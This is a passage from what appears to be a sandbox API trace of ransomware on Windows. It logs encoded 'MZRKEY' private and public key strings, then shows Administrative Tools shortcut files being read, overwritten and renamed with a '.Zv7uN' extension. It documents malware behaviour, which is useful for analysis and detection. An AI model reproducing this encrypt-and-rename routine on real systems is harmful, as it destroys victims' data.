Gw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.957] GetCurrentThreadId () returned 0xa30 [0132.957] GetCurrentThreadId () returned 0xa30 [0132.957] GetCurrentThreadId () returned 0xa30 [0132.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.958] GetCurrentThreadId () returned 0xa30 [0132.958] GetCurrentThreadId () returned 0xa30 [0132.958] GetCurrentThreadId () returned 0xa30 [0132.958] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.959] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.959] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.959] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xab5 [0132.959] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.959] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0xab5, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0xab5, lpOverlapped=0x0) returned 1 [0133.155] CloseHandle (hObject=0x1e8) returned 1 [0133.156] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.254] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0xab5, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0xab5, lpOverlapped=0x0) returned 1 [0133.256] CloseHandle (hObject=0x1e8) returned 1 [0133.256] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk.zv7un")) returned 1 [0133.258] GetCurrentThreadId () returned 0xa30 [0133.258] GetCurrentThreadId () returned 0xa30 [0133.258] GetCurrentThreadId () returned 0xa30 [0133.258] GetCurrentThreadId () returned 0xa30 [0133.258] GetCurrentThreadId () returned 0xa30 [0133.258] GetCurrentThreadId () returned 0xa30 [0133.258] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0133.258] GetLastError () returned 0x12 [0133.258] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.258] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x63a46b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x63a46b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.258] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.258] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x63a46b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x63a46b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.259] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.259] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63322960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Component Services.lnk.Zv7uN", cAlternateFileName="COMPON~1.ZV7")) returned 1 [0133.259] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.259] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x6336ec20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Computer Management.lnk.Zv7uN", cAlternateFileName="COMPUT~1.ZV7")) returned 1 [0133.259] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.259] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x6349f720, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Data Sources (ODBC).lnk.Zv7uN", cAlternateFileName="DATASO~1.ZV7")) returned 1 [0133.259] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.259] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa3aca9c, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa3aca9c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x634c5880, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Event Viewer.lnk.Zv7uN", cAlternateFileName="EVENTV~1.ZV7")) returned 1 [0133.259] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.259] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.259] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x634eb9e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="iSCSI Initiator.lnk.Zv7uN", cAlternateFileName="ISCSII~1.ZV7")) returned 1 [0133.260] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.260] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.260] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63537ca0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Memory Diagnostics Tool.lnk.Zv7uN", cAlternateFileName="MEMORY~1.ZV7")) returned 1 [0133.260] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.260] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.260] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x6355de00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Performance Monitor.lnk.Zv7uN", cAlternateFileName="PERFOR~1.ZV7")) returned 1 [0133.260] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.260] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.260] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x63583f60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Print Management.lnk.Zv7uN", cAlternateFileName="PRINTM~1.ZV7")) returned 1 [0133.260] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.260] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.260] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x636687a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Security Configuration Management.lnk.Zv7uN", cAlternateFileName="SECURI~1.ZV7")) returned 1 [0133.260] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.260] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.261] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x6368e900, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="services.lnk.Zv7uN", cAlternateFileName="")) returned 1 [0133.261] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.261] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.261] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x636b4a60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Configuration.lnk.Zv7uN", cAlternateFileName="SYSTEM~1.ZV7")) returned 1 [0133.261] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.261] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.261] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x636dabc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Task Scheduler.lnk.Zv7uN", cAlternateFileName="TASKSC~1.ZV7")) returned 1 [0133.261] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.261] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.261] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63773140, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Firewall with Advanced Security.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0133.261] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.261] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.261] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, 